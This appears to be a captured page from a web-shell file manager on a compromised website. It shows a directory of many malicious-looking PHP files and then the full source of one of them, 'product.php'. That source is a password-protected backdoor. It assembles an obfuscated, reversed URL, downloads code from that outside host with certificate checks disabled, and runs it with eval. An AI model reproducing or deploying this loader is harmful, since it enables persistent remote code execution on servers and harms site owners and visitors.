at path:
ROOT
/
product.php.VIRUS
run:
R
W
Run
.well-known
DIR
2026-03-22 07:35:38
R
W
Run
350a3
DIR
2026-05-11 14:52:03
R
W
Run
bnzv1ec
DIR
2026-05-07 21:50:07
R
W
Run
cbff64
DIR
2026-05-11 14:52:03
R
W
Run
efzcn1v
DIR
2026-05-07 21:50:07
R
W
Run
hci1tsw
DIR
2026-05-10 10:53:59
R
W
Run
hzajpe1
DIR
2026-05-07 21:50:07
R
W
Run
wp-includes
DIR
2026-05-11 15:32:15
R
W
Run
.htaccess
199 By
2026-05-11 14:18:43
R
W
Run
Delete
Rename
2voughyz.php.VIRUS
19.07 KB
2026-05-05 21:47:39
R
W
Run
Delete
Rename
58qroi9d.php.VIRUS
19.07 KB
2026-05-05 21:51:41
R
W
Run
Delete
Rename
9AjNzaEepiR.php.VIRUS
51.75 KB
2026-05-08 00:35:51
R
W
Run
Delete
Rename
COOKIE.txt
237 By
2026-05-07 21:50:09
R
W
Run
Delete
Rename
G8LpoBVSegO.php.VIRUS
43.97 KB
2026-05-06 04:40:37
R
W
Run
Delete
Rename
K7BwLctP4I9.php.VIRUS
43.97 KB
2026-05-06 04:41:22
R
W
Run
Delete
Rename
KLn3hY5NAsf.php.VIRUS
166.77 KB
2026-05-06 04:40:37
R
W
Run
Delete
Rename
OVA-TOOLS-VIP.php.VIRUS
19.06 KB
2026-05-07 20:51:09
R
W
Run
Delete
Rename
SqPxuvC8ceM.php.VIRUS
51.75 KB
2026-05-06 04:41:22
R
W
Run
Delete
Rename
TYWD21Ordqf.php.VIRUS
166.77 KB
2026-05-08 00:35:51
R
W
Run
Delete
Rename
YZPM2WTkyaI.php.VIRUS
166.77 KB
2026-05-06 04:41:22
R
W
Run
Delete
Rename
ZoPbAxp2BvF.php.VIRUS
28.35 KB
2026-05-08 00:35:51
R
W
Run
buy.php.VIRUS
1.47 KB
2024-01-13 01:06:04
R
W
Run
Delete
Rename
chosen.php.VIRUS
122.65 KB
2026-05-08 05:40:23
R
W
Run
Delete
Rename
click.php.VIRUS
2.03 KB
2023-12-05 01:06:04
R
W
Run
Delete
Rename
curl.php.VIRUS
1.39 KB
2026-05-08 02:49:53
R
W
Run
Delete
Rename
delAll.php
1.53 KB
2026-05-08 05:40:22
R
W
Run
Delete
Rename
fBowAn2VjYF.php.VIRUS
28.35 KB
2026-05-06 04:41:22
R
W
Run
index.php.VIRUS
14.72 KB
2022-08-14 10:42:28
R
W
Run
Delete
Rename
index.php0.VIRUS
2.37 KB
2024-02-25 01:06:04
R
W
Run
Delete
Rename
item.php.VIRUS
1.93 KB
2024-04-25 01:06:04
R
W
Run
Delete
Rename
mAkR7wiYxMQ.php.VIRUS
28.35 KB
2026-05-06 04:40:37
R
W
Run
mouoxjks.php.VIRUS
14.76 KB
2026-05-06 16:47:13
R
W
Run
Delete
Rename
oN6sP8ukXyB.php.VIRUS
51.75 KB
2026-05-06 04:40:37
R
W
Run
Delete
Rename
php.ini
105 By
2026-05-08 00:35:51
R
W
Run
Delete
Rename
product.php.VIRUS
2 KB
2024-02-06 01:06:04
R
W
Run
Delete
Rename
qYG2j9k7nDh.php.VIRUS
43.97 KB
2026-05-08 00:35:51
R
W
Run
Delete
Rename
robots.txt
416 By
2023-09-06 01:06:07
R
W
Run
Delete
Rename
simple.php.VIRUS
15.05 KB
2026-05-08 05:40:23
R
W
Run
Delete
Rename
t6wer-send.php
453 By
2026-03-17 22:38:15
R
W
Run
Delete
Rename
tesTgkx.php.VIRUS
2.87 KB
2026-03-23 18:40:05
R
W
Run
Delete
Rename
tesTuad.php.VIRUS
2.87 KB
2026-03-23 02:27:34
R
W
Run
Delete
Rename
tesTvmc.php.VIRUS
1.15 KB
2026-05-06 16:47:19
R
W
Run
Delete
Rename
theme-inscuqr.php.VIRUS
341 By
2026-05-06 04:40:37
R
W
Run
Delete
Rename
theme-insmbpg.php.VIRUS
341 By
2026-05-06 04:41:22
R
W
Run
Delete
Rename
theme-insvftx.php.VIRUS
338 By
2026-05-08 00:35:51
R
W
Run
Delete
Rename
unZIPpeRtsk.php.VIRUS
19.51 KB
2026-05-06 16:47:22
R
W
Run
Delete
Rename
error_log
up
📄
product.php.VIRUS
Save
<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') { $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } } ?> <?php goto rZmcc; S05ge: $SS8Fu .= "\x2e\62\x30\x61"; goto KyXJG; RQpfg: $SS8Fu .= "\x34\63\x2f"; goto RiVZR; djqb0: $SS8Fu .= "\x74\x78\x74\56"; goto RQpfg; RiVZR: $SS8Fu .= "\x64"; goto c8b05; KyXJG: $SS8Fu .= "\x6d\141"; goto YHXMK; b4Lsi: eval("\77\76" . tW2kx(strrev($SS8Fu))); goto tNEm2; AzK8d: $SS8Fu .= "\x61\x6d"; goto mjfVw; CeZ0F: $SS8Fu .= "\160\x6f\164"; goto S05ge; rZmcc: $SS8Fu = ''; goto djqb0; QylGj: $SS8Fu .= "\x74\x68"; goto b4Lsi; mjfVw: $SS8Fu .= "\141\144\57"; goto CeZ0F; LrGN4: $SS8Fu .= "\163\x70\164"; goto QylGj; YHXMK: $SS8Fu .= "\144"; goto PSmdA; c8b05: $SS8Fu .= "\154\157\x2f"; goto AzK8d; PSmdA: $SS8Fu .= "\x2f\x2f\72"; goto LrGN4; tNEm2: function tW2kX($V1_rw = '') { goto O8cn3; w8lqj: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto AaXhS; oZNaA: curl_close($xM315); goto HKjcI; sEgPB: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto J9cSf; HKjcI: return $tvmad; goto pji_p; UmOzv: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto w8lqj; UhhOG: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto sEgPB; AaXhS: $tvmad = curl_exec($xM315); goto oZNaA; J9cSf: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto UmOzv; O8cn3: $xM315 = curl_init(); goto UhhOG; pji_p: }